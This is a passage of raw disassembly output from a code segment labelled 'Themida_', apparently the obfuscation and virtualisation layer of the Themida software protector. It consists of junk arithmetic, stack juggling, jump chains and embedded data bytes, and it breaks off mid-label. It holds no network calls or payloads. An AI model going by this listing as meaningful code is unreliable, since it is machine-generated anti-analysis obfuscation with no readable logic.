jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A58CF: ; CODE XREF: Themida_:0059B63Fj ; Themida_:005ADE4Dj push eax mov eax, 142631D6h or eax, 3FD357A4h shl eax, 2 jmp loc_5A33FE ; --------------------------------------------------------------------------- dw 0EE83h dd 8AF681FFh, 31E553FEh, 24348BF0h, 5E08950h, 4, 405h dd 6C3AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5902: ; CODE XREF: Themida_:005A6E8Cj add esp, 4 pop dword ptr [esp] jmp loc_59E51F ; --------------------------------------------------------------------------- loc_5A5910: ; CODE XREF: Themida_:0059DC7Ej push ebx mov ebx, 7FD04A0Eh xor ebx, 2B1600C5h jmp loc_5AE3CF ; --------------------------------------------------------------------------- loc_5A5921: ; CODE XREF: Themida_:0059F009j ja loc_59C1A0 jmp loc_5A7ED0 ; --------------------------------------------------------------------------- dd 0BD0135B9h db 18h, 0B3h, 6Ah ; --------------------------------------------------------------------------- loc_5A5933: ; CODE XREF: Themida_:005A6EA2j pop edi xchg edx, [esp] mov esp, [esp] loc_5A593A: ; CODE XREF: Themida_:0059B8D8j push 827h jmp loc_5ABC75 ; --------------------------------------------------------------------------- loc_5A5944: ; CODE XREF: Themida_:005A0548j sub ebx, 287A244Ch add ebx, ebp push ecx mov ecx, 287A244Ch add ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 4DAF0625h pop ebp add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 1215h mov [esp], edx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_5ADE27 ; --------------------------------------------------------------------------- loc_5A5988: ; CODE XREF: Themida_:0059B446j pop esp pop dword ptr [esp] pop esp mov ax, [esp] push 5AE3h mov [esp], ebp mov ebp, esp push ebp sub esp, 4 jmp loc_5AF098 ; --------------------------------------------------------------------------- loc_5A59A4: ; CODE XREF: Themida_:005ADF90j jmp loc_5AAE51 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 12E92434h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A59B7: ; CODE XREF: Themida_:005A2187j sar word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 81h, 0EBh, 0E7h dd 5701C932h, 69156FBFh, 80C7816Ah, 47651D45h, 48B1C781h dd 2BE98306h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A59DF: ; CODE XREF: Themida_:0059B1ECj and edi, 53119D4h or edi, 30B26698h push eax jmp loc_598442 ; --------------------------------------------------------------------------- loc_5A59F1: ; CODE XREF: Themida_:005AC2F4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 1A71h mov [esp], edx mov edx, 2 push edx xor dword ptr [esp], 45A510A6h pop ebp push ebx mov ebx, 45A510A6h xor ebp, ebx pop ebx push dword ptr [esp] jmp loc_5A7CF9 ; --------------------------------------------------------------------------- loc_5A5A2A: ; CODE XREF: Themida_:005ABDAEj shr ecx, 3 jmp loc_5A17DA ; --------------------------------------------------------------------------- loc_5A5A32: ; CODE XREF: Themida_:005A918Bj mov ecx, 4 jmp loc_59F773 ; --------------------------------------------------------------------------- loc_5A5A3C: ; CODE XREF: Themida_:005ADB11j push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, ebx push edi mov edi, ecx mov ebp, edi jmp loc_5A3470 ; --------------------------------------------------------------------------- loc_5A5A5A: ; CODE XREF: Themida_:005A097Ej add eax, edi jmp loc_59A1C8 ; --------------------------------------------------------------------------- loc_5A5A61: ; CODE XREF: Themida_:0059F10Fj push ebp jmp loc_5A3C36 ; --------------------------------------------------------------------------- db 89h dd 8B54243Ch, 2EE9243Ch db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5A73: ; CODE XREF: Themida_:005A37AFj movzx ax, byte ptr [eax] push small 6358h mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5A84: ; CODE XREF: Themida_:0059CDBAj mov edx, [esp] add esp, 4 add edx, 1A587E3Bh pop ebp add edx, 19421BE9h and edx, 104772D4h jmp loc_5AD99D ; --------------------------------------------------------------------------- loc_5A5AA2: ; CODE XREF: Themida_:005AA85Bj add eax, 34DEEA45h jmp loc_5A3000 ; --------------------------------------------------------------------------- dd 1AF268h, 24048900h, 4055854h, 57000000h, 4BFh, 5FF80100h dd 1666E9h, 242C8700h, 8D5E9h db 0 ; --------------------------------------------------------------------------- loc_5A5AD1: ; CODE XREF: Themida_:0059D301j sub ecx, 0A06149A9h add ebx, 5D431BFEh add ebx, ecx push edx mov edx, 559D1737h sub edx, 2B666B33h shr edx, 7 shl edx, 2 shl edx, 8 xor edx, 91F304Ah add edx, 498CBB4h sub ebx, edx pop edx pop ecx add ecx, 76382C2Ch add ecx, ebx sub ecx, 76382C2Ch mov ebx, [esp] jmp loc_59EC7B ; --------------------------------------------------------------------------- loc_5A5B1A: ; CODE XREF: Themida_:005AE11Cj dec eax and eax, 707C7C23h jmp loc_5A2857 ; --------------------------------------------------------------------------- loc_5A5B25: ; CODE XREF: Themida_:005AAB16j pop esp jmp loc_5A34B0 ; --------------------------------------------------------------------------- loc_5A5B2B: ; CODE XREF: Themida_:005AAEFFj mov esp, [esp] sub esp, 4 mov [esp], edx push esp pop edx push 76C2h mov [esp], esi push ebp jmp loc_59F5A4 ; --------------------------------------------------------------------------- loc_5A5B47: ; CODE XREF: Themida_:005997C1j mov eax, 3C43AB30h sub ebx, eax mov eax, [esp] add esp, 4 add eax, ebx mov ebx, [esp] add esp, 4 sub eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add [edi+24h], eax pop eax loc_5A5B74: ; CODE XREF: Themida_:0059C225j push edx push 256Ah jmp loc_5ADB0E ; --------------------------------------------------------------------------- loc_5A5B7F: ; CODE XREF: Themida_:005A39B5j dec ecx jge loc_598EF8 xor ecx, 626A0381h jmp loc_59FCEA ; --------------------------------------------------------------------------- db 53h, 5Eh ; --------------------------------------------------------------------------- loc_5A5B93: ; CODE XREF: Themida_:00598EAAj mov ecx, [esp] add esp, 4 push ebp jmp loc_5A1999 ; --------------------------------------------------------------------------- dw 0C483h dd 243C3304h, 33243C31h, 0A9E9243Ch db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5BB3: ; CODE XREF: Themida_:005AA032j add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_59C720 ; --------------------------------------------------------------------------- loc_5A5BC1: ; CODE XREF: Themida_:005ADDF8j or eax, ecx pop ecx push edx push 19B04F4h mov edx, [esp] jmp loc_5A4184 ; --------------------------------------------------------------------------- loc_5A5BD2: ; CODE XREF: Themida_:0059FE7Cj pop eax push ebp jmp loc_59CC3E ; --------------------------------------------------------------------------- loc_5A5BD9: ; CODE XREF: Themida_:005A86C9j xchg edi, [esp] pop esi push edx mov edx, 0F0998723h xor esi, edx pop edx jmp loc_59D9A3 ; --------------------------------------------------------------------------- loc_5A5BEB: ; CODE XREF: Themida_:005A2C3Bj push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push ebx mov ebx, esp jmp loc_5AAF34 ; --------------------------------------------------------------------------- loc_5A5C00: ; CODE XREF: Themida_:005A4536j mov ecx, 5EBD6D4Ch sub ebx, 778A5AAAh sub ebx, ecx push esi mov esi, 1F5734A7h xor esi, 15F37557h inc esi add esi, 67AA28FEh add esi, 377E1893h shl esi, 8 push ecx mov ecx, 0C7411Fh add ecx, 5D4E3EFAh shl ecx, 5 neg ecx not ecx add ecx, 0E856D58Bh add esi, ecx pop ecx add ebx, esi pop esi pop ecx push eax mov eax, 53B3310Ch inc eax xor eax, 194164C2h add ebx, eax pop eax add ebx, 5AB94950h push dword ptr [esp] jmp loc_5A1101 ; --------------------------------------------------------------------------- loc_5A5C66: ; CODE XREF: Themida_:005A41CAj mov eax, [esp] jmp loc_5AD216 ; --------------------------------------------------------------------------- dw 483h dd 40E90424h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5C77: ; CODE XREF: Themida_:005AABC2j ; Themida_:005AD246j mov esi, 78BE426Bh add ebx, esi pop esi push eax mov eax, 74DF6CCEh and ebx, eax pop eax jmp loc_599C97 ; --------------------------------------------------------------------------- loc_5A5C8D: ; CODE XREF: Themida_:005A2FC4j ; Themida_:005A42C1j mov edi, [esp] add esp, 4 push edx push dword ptr [esp+4] jmp loc_5AC674 ; --------------------------------------------------------------------------- dd 405h, 4BE5600h, 0E9000000h, 7F78h ; --------------------------------------------------------------------------- loc_5A5CB0: ; CODE XREF: Themida_:005A5074j mov eax, [esp] push 7C83h jmp loc_59E027 ; --------------------------------------------------------------------------- loc_5A5CBD: ; CODE XREF: Themida_:00598A3Aj add edx, edi pop edi add edx, edi sub edx, 7C306788h jmp loc_5A6E99 ; --------------------------------------------------------------------------- db 5Dh, 81h, 2Ch dd 531D1324h, 2404011Bh, 0FFDB1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5CDD: ; CODE XREF: Themida_:005986E6j mov esi, 413D1BCBh add ecx, esi jmp loc_5ADF70 ; --------------------------------------------------------------------------- loc_5A5CE9: ; CODE XREF: Themida_:005A7A37j push ecx mov ch, 0CEh or ch, 6Fh xor ch, 20h jmp loc_5A7FE0 ; --------------------------------------------------------------------------- loc_5A5CF7: ; CODE XREF: Themida_:005A6375j xor eax, [esp] mov esp, [esp] add [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 68h dd 6D3926A5h, 0FD8F758h, 1AF68Eh, 45680D00h, 8E9091Dh db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5D1F: ; CODE XREF: Themida_:005A6401j add al, 2Eh sub esp, 4 mov [esp], ecx mov cl, 25h add al, cl mov ecx, [esp] jmp loc_5AF2CE ; --------------------------------------------------------------------------- loc_5A5D33: ; CODE XREF: Themida_:00598EC9j push edx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5AB421 ; --------------------------------------------------------------------------- loc_5A5D48: ; CODE XREF: Themida_:0059BB97j xor [esp], edx xor edx, [esp] pop esp mov [esp], edx push 8000h push dword ptr [esp] jmp loc_5AB9D6 ; --------------------------------------------------------------------------- loc_5A5D5F: ; CODE XREF: Themida_:005AD9F2j and ecx, 151F1E61h js loc_5AF10D add ecx, 25A052AFh jb loc_59E5E8 or ecx, 4B6E6129h jmp loc_5997F6 ; --------------------------------------------------------------------------- loc_5A5D82: ; CODE XREF: Themida_:0059925Cj ; Themida_:0059E6CAj pop edi xchg ebx, [esp] pop esp push ebx jmp loc_5A6E7F ; --------------------------------------------------------------------------- loc_5A5D8D: ; CODE XREF: Themida_:005AC606j mov edx, [esp] add esp, 4 add edx, 4 jmp loc_598E7E ; --------------------------------------------------------------------------- loc_5A5D9E: ; CODE XREF: Themida_:loc_5A83A4j jmp loc_5AEF51 ; --------------------------------------------------------------------------- loc_5A5DA3: ; CODE XREF: Themida_:005A21FFj mov esi, esp push edi jmp loc_598740 ; --------------------------------------------------------------------------- db 89h dd 74015DEEh, 34FF0824h, 24348B24h, 88E7E955h, 48B0000h dd 0E3895324h, 34D268h, 1602E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5DCE: ; CODE XREF: Themida_:005A1E21j push ecx push edx sub esp, 4 mov [esp], ebx push 70A05678h pop ebx shr ebx, 5 not ebx add ebx, 5359151Fh mov edx, ebx mov ebx, [esp] jmp loc_5AB176 ; --------------------------------------------------------------------------- loc_5A5DF1: ; CODE XREF: Themida_:005A6B41j mov edx, 30DF1320h xor edx, 3B16104Ah dec edx js loc_5A252A jmp loc_59C9C5 ; --------------------------------------------------------------------------- loc_5A5E08: ; CODE XREF: Themida_:005A549Fj ; Themida_:005A8349j pop eax sub eax, 317A494Ch jg loc_5AC242 jmp loc_5A30DB ; --------------------------------------------------------------------------- db 83h, 0EFh, 0FFh dd 66D4E947h, 34FFFFFFh, 2434FF24h, 4C4835Ah, 160568h dd 24048900h, 0FF6A7CE9h, 66853FFh, 0E954965Dh, 877h ; --------------------------------------------------------------------------- loc_5A5E44: ; CODE XREF: Themida_:005AA009j mov [esp], eax push esi push 62655D88h jmp loc_5A831E ; --------------------------------------------------------------------------- loc_5A5E52: ; CODE XREF: Themida_:005AA9FAj add esp, 4 mov ecx, edi pop edi xor eax, ecx jmp loc_5AB75A ; --------------------------------------------------------------------------- loc_5A5E62: ; CODE XREF: Themida_:005A30E4j ; Themida_:005A8176j and ebx, 76AB74C6h push ecx push ebp mov ebp, 31ECD04Dh mov ecx, ebp jmp loc_5A80D9 ; --------------------------------------------------------------------------- loc_5A5E76: ; CODE XREF: Themida_:0059BCFEj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp xor bl, al movzx eax, al push dword ptr [edi+eax*4] push esi push 73D2h mov [esp], ecx jmp loc_59DB35 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFC9EAh ; --------------------------------------------------------------------------- loc_5A5EA8: ; CODE XREF: Themida_:00598F9Ej pop esp jmp loc_5AF0F4 ; --------------------------------------------------------------------------- loc_5A5EAE: ; CODE XREF: Themida_:0059D747j mov esp, [esp] jmp loc_5AD80F ; --------------------------------------------------------------------------- loc_5A5EB6: ; CODE XREF: Themida_:005AD48Dj ; Themida_:loc_5AEA48j xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_59D478 ; --------------------------------------------------------------------------- loc_5A5ECD: ; CODE XREF: Themida_:005A4CD0j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A5393 ; --------------------------------------------------------------------------- db 0C1h dd 850F05EEh, 82A6h, 230FE9h, 24248B00h, 5C240489h ; --------------------------------------------------------------------------- loc_5A5EF0: ; CODE XREF: Themida_:005A3A6Ej add esi, edx jmp loc_59A485 ; --------------------------------------------------------------------------- loc_5A5EF7: ; CODE XREF: Themida_:005A1220j sub bl, 0F3h jmp loc_5AC0FC ; --------------------------------------------------------------------------- loc_5A5EFF: ; CODE XREF: Themida_:005A2AD3j xor ebx, 184E6F65h shl ebx, 1 not ebx neg ebx sub ebx, 8F6852C7h add eax, ebx jmp loc_5A49EA ; --------------------------------------------------------------------------- loc_5A5F18: ; CODE XREF: Themida_:005AC967j mov esi, ecx pop ecx not esi push 0 sub [esp], esi pop esi push esi not dword ptr [esp] jmp loc_5A869A ; --------------------------------------------------------------------------- loc_5A5F2F: ; CODE XREF: Themida_:005A1778j push edi mov edi, 4 jmp loc_5ACCC9 ; --------------------------------------------------------------------------- dw 0C89h dd 576DB924h, 94E92C18h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5F47: ; CODE XREF: Themida_:loc_5AF14Cj add ebp, 1C40B24h xor ebp, 0B931F36h xor ebp, 0B1CE7D06h mov edi, ebp jmp loc_5A3B5C ; --------------------------------------------------------------------------- loc_5A5F60: ; CODE XREF: Themida_:005A70CDj mov [esp], ebp mov ebp, 709716B0h or esi, ebp jmp loc_5A2410 ; --------------------------------------------------------------------------- db 68h dd 564h, 81243C89h, 58D62434h, 815A2100h, 58D6F2h, 0EA815F21h dd 6E9A73C4h, 0FF5E7CE9h, 4EC83FFh, 89240C89h, 66D568E1h dd 34890000h, 4BE24h, 0F1010000h, 0BF57535Eh, 12C25D61h dd 312ACF81h, 0EFE97B56h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5FBB: ; CODE XREF: Themida_:0059D52Cj mov eax, 49F653A0h xor eax, 6ED86514h not eax sub eax, 0A9BC935Ch dec eax inc eax add eax, 5FB442FFh push edi mov edi, 8A9BBEE0h sub eax, 780106C7h add eax, edi add eax, 780106C7h pop edi jmp loc_5AA7B3 ; --------------------------------------------------------------------------- loc_5A5FEB: ; CODE XREF: Themida_:005A4578j xor ebx, [esp] xor [esp], ebx push dword ptr [esp] pop eax push edi push esp push dword ptr [esp] pop edi push ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 45342B63h sub ebp, 39132945h push ecx mov ecx, 11B44CD5h add ebp, ecx pop ecx neg ebp and ebp, 5B364BEDh neg ebp sub ebp, 0BDDDFEEFh jmp loc_59CBD2 ; --------------------------------------------------------------------------- loc_5A6040: ; CODE XREF: Themida_:0059D0BCj neg dh jz loc_59A843 xor dh, 40h push eax mov al, dh mov bh, al jmp loc_599449 ; --------------------------------------------------------------------------- loc_5A6055: ; CODE XREF: Themida_:0059D04Bj ; Themida_:005A4FC6j sub esp, 4 mov [esp], edi jmp loc_5A3052 ; --------------------------------------------------------------------------- loc_5A6060: ; CODE XREF: Themida_:005ABB18j jle loc_5A727E jmp loc_5A140C ; --------------------------------------------------------------------------- loc_5A606B: ; CODE XREF: Themida_:005A2F6Cj pop ecx sub ecx, 8AC761Eh mov eax, [esp] jmp loc_5AE7E3 ; --------------------------------------------------------------------------- loc_5A607A: ; CODE XREF: Themida_:0059B1B8j xor ebp, 0EC2FC02Bh jmp loc_5A3653 ; --------------------------------------------------------------------------- db 58h, 28h, 0DAh dd 80AAC280h, 0EA804BEAh, 0C05B662Eh, 7DE904E2h, 55000077h dd 641F4CBDh, 35E6E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A60A6: ; CODE XREF: Themida_:0059AE55j xor [esp], eax xor eax, [esp] pop esp jmp loc_5A782C ; --------------------------------------------------------------------------- loc_5A60B2: ; CODE XREF: Themida_:005ADD20j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5A2FE0 ; --------------------------------------------------------------------------- dw 4481h dd 6AA00424h, 48B250Ch, 8422E924h, 0FF66FFFFh, 22AEE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A60DE: ; CODE XREF: Themida_:005A145Aj push 87A7F69h pop ebp neg ebp jmp loc_5A2204 ; --------------------------------------------------------------------------- loc_5A60EB: ; CODE XREF: Themida_:005A0E86j and ebx, 68BB541Dh jmp loc_5A3A49 ; --------------------------------------------------------------------------- dw 8B66h dd 54562404h, 0E953525Eh, 0FFFFDFE3h ; --------------------------------------------------------------------------- loc_5A6104: ; CODE XREF: Themida_:005A7D05j add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5A639A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFCCADh ; --------------------------------------------------------------------------- loc_5A6120: ; CODE XREF: Themida_:0059A666j or esi, 43DD54B5h sub esi, 51F16E10h mov edx, esi pop esi add edx, edi pop edi jmp loc_5AF293 ; --------------------------------------------------------------------------- loc_5A6137: ; CODE XREF: Themida_:0059A7D0j sub edx, edi pop edi jmp loc_59E282 ; --------------------------------------------------------------------------- loc_5A613F: ; CODE XREF: Themida_:0059888Ej ; Themida_:005A9BEEj push 4828h mov [esp], edi jmp loc_5A565D ; --------------------------------------------------------------------------- loc_5A614C: ; CODE XREF: Themida_:0059EDC8j jmp loc_5A9EAE ; --------------------------------------------------------------------------- aYsH db 'Yι½H',0 db 0 ; --------------------------------------------------------------------------- loc_5A6157: ; CODE XREF: Themida_:005A38F2j pop eax jmp loc_5A84E6 ; --------------------------------------------------------------------------- loc_5A615D: ; CODE XREF: Themida_:005999FDj mov [esp], edx mov dh, 0Eh inc dh shl dh, 3 jmp loc_5A15FD ; --------------------------------------------------------------------------- loc_5A616C: ; CODE XREF: Themida_:005A9D52j sub esp, 4 mov [esp], ebx jmp loc_5A86F6 ; --------------------------------------------------------------------------- loc_5A6177: ; CODE XREF: Themida_:005A75DDj mov edi, 4 jmp loc_598554 ; --------------------------------------------------------------------------- loc_5A6181: ; CODE XREF: Themida_:005A584Cj xchg edx, [esp] jmp loc_598578 ; --------------------------------------------------------------------------- loc_5A6189: ; CODE XREF: Themida_:loc_59E4E5j sub esp, 4 mov [esp], ebx jmp loc_5A49D9 ; --------------------------------------------------------------------------- dd 0E5814D45h, 72BE4115h, 50C468h, 5B58E900h, 0F2800000h dd 6E2C0A9h, 2FB05066h, 0FF3900E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A61B5: ; CODE XREF: Themida_:005A024Aj add [esp+4], edi jmp loc_5AB419 ; --------------------------------------------------------------------------- loc_5A61BE: ; CODE XREF: Themida_:005A412Aj mov ecx, [esp] add esp, 4 add edx, 2 push edx push dword ptr [esp+4] jmp loc_5A3620 ; --------------------------------------------------------------------------- loc_5A61D4: ; CODE XREF: Themida_:005A79FBj pop ebx xor eax, ebp pop ebp push eax add dword ptr [esp], 418F645Dh pop esi jmp loc_5AA6E7 ; --------------------------------------------------------------------------- loc_5A61E6: ; CODE XREF: Themida_:0059C172j ; Themida_:005A18BCj add esp, 4 add ebx, edi pop edi sub esp, 4 jmp loc_59F87B ; --------------------------------------------------------------------------- loc_5A61F7: ; CODE XREF: Themida_:0059E02Cj add eax, 4 push ecx jmp loc_59960E ; --------------------------------------------------------------------------- loc_5A6202: ; CODE XREF: Themida_:005A7DF4j pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 3423h mov [esp], ebp jmp loc_5985F6 ; --------------------------------------------------------------------------- loc_5A6223: ; CODE XREF: Themida_:loc_599407j push eax push ecx jmp loc_599B5E ; --------------------------------------------------------------------------- loc_5A622A: ; CODE XREF: Themida_:005A53B0j push 5E01h jmp loc_5AC602 ; --------------------------------------------------------------------------- loc_5A6234: ; CODE XREF: Themida_:005A77FAj pop ecx sub bl, al sub bl, 0D6h jmp loc_59D74C ; --------------------------------------------------------------------------- loc_5A623F: ; CODE XREF: Themida_:005AEB25j push eax jmp loc_5A1E1F ; --------------------------------------------------------------------------- loc_5A6245: ; CODE XREF: Themida_:0059C1ADj and ecx, 3AFB3689h jmp loc_59A0BF ; --------------------------------------------------------------------------- dd 4C281h, 0E9530000h, 0FFFFD75Eh ; --------------------------------------------------------------------------- loc_5A625C: ; CODE XREF: Themida_:005A7757j jb loc_5AB1C0 jmp loc_5A9909 ; --------------------------------------------------------------------------- loc_5A6267: ; CODE XREF: Themida_:005AD7EEj push eax jmp loc_5995D6 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 7AE7E9h, 241C8B00h, 141FE9h db 0 ; --------------------------------------------------------------------------- loc_5A627D: ; CODE XREF: Themida_:005A74B4j sub esp, 4 jmp loc_5A46E1 ; --------------------------------------------------------------------------- loc_5A6285: ; CODE XREF: Themida_:005A1667j or cl, 58h add cl, 6Ah xor cl, 5Fh sub dl, cl pop ecx add ah, dl jmp loc_5A0033 ; --------------------------------------------------------------------------- dd 3302C583h, 0C0E9242Ch db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A62A3: ; CODE XREF: Themida_:005A4AB7j mov [esp], edi push ecx jmp loc_5ACF5A ; --------------------------------------------------------------------------- loc_5A62AC: ; CODE XREF: Themida_:00599A3Bj mov eax, [esp] add esp, 4 or eax, 462234B9h sub eax, 2F1C24D1h jmp loc_5AB9B0 ; --------------------------------------------------------------------------- loc_5A62C1: ; CODE XREF: Themida_:005A1DF4j pop ecx jmp loc_59FCEA ; --------------------------------------------------------------------------- loc_5A62C7: ; CODE XREF: Themida_:005A1B7Aj sub ebx, 0EBB5082h jmp loc_5A0DF8 ; --------------------------------------------------------------------------- loc_5A62D2: ; CODE XREF: Themida_:0059C121j ; Themida_:005A850Fj add esp, 4 jmp loc_5A0837 ; --------------------------------------------------------------------------- dw 0D889h dd 0E9241C8Bh, 0FFFF8A10h ; --------------------------------------------------------------------------- loc_5A62E4: ; CODE XREF: Themida_:005AA71Cj push ebp mov ebp, 1A233121h mov eax, ebp jmp loc_5A40A4 ; --------------------------------------------------------------------------- loc_5A62F1: ; CODE XREF: Themida_:005AAB63j mov [esp], ebx mov ebx, 533713B4h add ebp, ebx pop ebx add edx, 7733893h jmp loc_5A6AD7 ; --------------------------------------------------------------------------- db 21h dd 0E99C2404h, 5A2Eh ; --------------------------------------------------------------------------- loc_5A6310: ; CODE XREF: Themida_:0059851Ej push 14FCh mov [esp], ebp push 0A29h mov [esp], eax mov eax, 61770B2Ah push eax mov eax, 667B6A0Eh jmp loc_5A6C0D ; --------------------------------------------------------------------------- dd 7594C181h, 820F1707h, 0FFFFE1B6h, 5FCDE181h, 0D4E960A7h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6347: ; CODE XREF: Themida_:loc_5A07E6j jmp loc_5AC60B ; --------------------------------------------------------------------------- loc_5A634C: ; CODE XREF: Themida_:005AA97Aj xor [esp], edx xor edx, [esp] jmp loc_5AF4A2 ; --------------------------------------------------------------------------- loc_5A6357: ; CODE XREF: Themida_:005ADA98j mov dl, 0A8h push eax jmp loc_5A4938 ; --------------------------------------------------------------------------- loc_5A635F: ; CODE XREF: Themida_:005A2536j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, [esp] xor [esp], eax jmp loc_5A5CF7 ; --------------------------------------------------------------------------- dw 5559h dd 0FFEB42E9h, 4C483FFh, 0C6FEDEF6h, 283FEE80h, 7C05E9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6392: ; CODE XREF: Themida_:0059B8F0j mov [esp], ecx jmp loc_5A3AD8 ; --------------------------------------------------------------------------- loc_5A639A: ; CODE XREF: Themida_:005A6110j mov esp, [esp] mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- dw 0FF5Ch dd 48B2434h, 4C48324h, 0FF8F50E9h, 0C5814DFFh, 3C701333h dd 0FFF9EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A63C1: ; CODE XREF: Themida_:005A9CD6j jnz loc_59DFFE dec ebp jnp loc_5A7D86 push ecx mov ecx, 3AB0DC03h loc_5A63D4: ; CODE XREF: Themida_:005A9B26j sub eax, 0EDF6B7h add edx, eax pop eax push eax mov eax, 5DF95234h not eax jmp loc_5A9CBE ; --------------------------------------------------------------------------- loc_5A63E9: ; CODE XREF: Themida_:005A2760j mov ecx, [esp] add esp, 4 push edi mov edi, 787B0B2Bh jmp loc_5ABB3D ; --------------------------------------------------------------------------- loc_5A63FA: ; CODE XREF: Themida_:005AF093j push dword ptr [esp] pop eax add esp, 4 jmp loc_5A5D1F ; --------------------------------------------------------------------------- loc_5A6406: ; CODE XREF: Themida_:005AEF90j mov ecx, ebx jmp loc_59B501 ; --------------------------------------------------------------------------- db 52h, 68h, 7Dh dd 89000000h, 4812424h, 424h, 68535A00h, 2A98h, 0BA241489h dd 65320F66h, 320F6ABBh, 55C38165h, 29482459h, 55EB81D3h dd 5A482459h, 1C8BDA01h, 4C48324h, 8904EC83h, 0BB532434h dd 4073246Dh, 0FFE6ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6459: ; CODE XREF: Themida_:005AC300j mov cl, 0A8h jmp loc_5A4EB0 ; --------------------------------------------------------------------------- dd 4F75B951h, 0CE012AA9h, 0E9DE0159h, 0FFFF9A1Eh ; --------------------------------------------------------------------------- loc_5A6470: ; CODE XREF: Themida_:0059F6C4j add eax, 97B635CAh or esi, eax pop eax xor esi, 447C4946h push edx jmp loc_599C1C ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 30E90000h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6493: ; CODE XREF: Themida_:005AF1BFj shl esi, 4 jmp loc_5A914D ; --------------------------------------------------------------------------- loc_5A649B: ; CODE XREF: Themida_:005A5817j pop eax push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A2E93 ; --------------------------------------------------------------------------- loc_5A64B0: ; CODE XREF: Themida_:0059DE92j neg eax js loc_59A9DC shr eax, 4 jp loc_59A5B2 shr eax, 3 jnz loc_5AAD55 jmp loc_5A3947 ; --------------------------------------------------------------------------- aUisHiz db 'Uι΅μhλz',0 dd 0C2BDE900h, 0E95CFFFFh, 0FFFFC213h, 6624248Bh, 0E9240489h dd 0FFFF1E9Ch, 0EFB1F581h, 0EB813299h, 4CAF4F3Ch, 3200E9h db 0 ; --------------------------------------------------------------------------- loc_5A6501: ; CODE XREF: Themida_:005AD211j push dword ptr [esp] push dword ptr [esp] jmp loc_5A5417 ; --------------------------------------------------------------------------- loc_5A650C: ; CODE XREF: Themida_:0059B7E9j ; Themida_:0059DFC7j push dword ptr [esp] pop esi add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] pop bx add al, 76h sub al, dh jmp loc_59B1F1 ; --------------------------------------------------------------------------- loc_5A652D: ; CODE XREF: Themida_:005A2A2Dj mov [esp], edx push 2 pop edx add ebx, 305A543Bh add ebx, edx sub ebx, 305A543Bh jmp loc_5A7856 ; --------------------------------------------------------------------------- loc_5A6549: ; CODE XREF: Themida_:005AB8EBj pop ecx push edx jmp loc_5A3996 ; --------------------------------------------------------------------------- loc_5A6550: ; CODE XREF: Themida_:005ABB90j add bl, 7 pop dx pop eax sub esp, 2 jmp loc_5AE445 ; --------------------------------------------------------------------------- db 5Fh, 0F7h, 0D6h dd 9040EE81h, 0F289137Bh, 28BD555Eh, 0E9337A1Fh, 0FFFF322Ah ; --------------------------------------------------------------------------- loc_5A6578: ; CODE XREF: Themida_:0059E05Fj mov eax, [esp] add esp, 4 push ecx jmp loc_5A1BFA ; --------------------------------------------------------------------------- loc_5A6584: ; CODE XREF: Themida_:0059A4F9j mov edx, [esp] add esp, 4 push esi mov esi, 5E225E0h jmp loc_59DDA0 ; --------------------------------------------------------------------------- loc_5A6595: ; CODE XREF: Themida_:0059BA7Fj ; Themida_:0059C4BFj jnp loc_5AA946 sub ebp, 754A18A9h jmp loc_59FB06 ; --------------------------------------------------------------------------- loc_5A65A6: ; 